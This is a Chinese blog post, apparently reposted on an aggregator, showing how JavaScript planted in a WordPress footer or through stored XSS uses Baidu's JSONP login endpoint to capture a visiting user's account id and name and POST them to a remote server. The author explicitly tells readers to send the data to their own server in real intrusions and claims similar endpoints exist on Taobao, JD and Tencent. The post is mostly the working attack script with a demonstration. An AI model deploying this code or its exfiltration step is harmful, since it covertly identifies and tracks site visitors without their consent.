XSS结合JSONP获取网站访客社交账号信息

Posted dgjnszf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS结合JSONP获取网站访客社交账号信息相关的知识,希望对你有一定的参考价值。

  我在本地环境搭建了一个WordPress网站,并在该网站中植入javascript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。

具体情况如下:

1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。

技术图片

2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + ‘?act=baidu‘, data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13         type: "GET",
14         dataType: "jsonp",
15         jsonp: ‘callback‘,
16         jsonpCallback: "_baidu_1",
17     });
18 }  
19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘;
20 jsonp_baidu();

3、访问网站并观察刚才植入的js代码是否执行。

 

技术图片

访问百度的JSONP接口,服务器返回登录账号的相关信息。

技术图片

获取到百度账号信息后,上传到www.sogou.com服务器。

 技术图片

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。

 

以上是关于XSS结合JSONP获取网站访客社交账号信息的主要内容,如果未能解决你的问题,请参考以下文章

如何添加网站统计代码并查询访客ip浏览访问量

Jsonp漏洞简析及自动化漏洞挖掘脚本编写

xss攻击的危害都有哪些?

XSS平台搭建

XSS攻击过滤处理

多说最近访客JS插件通用代码使用方法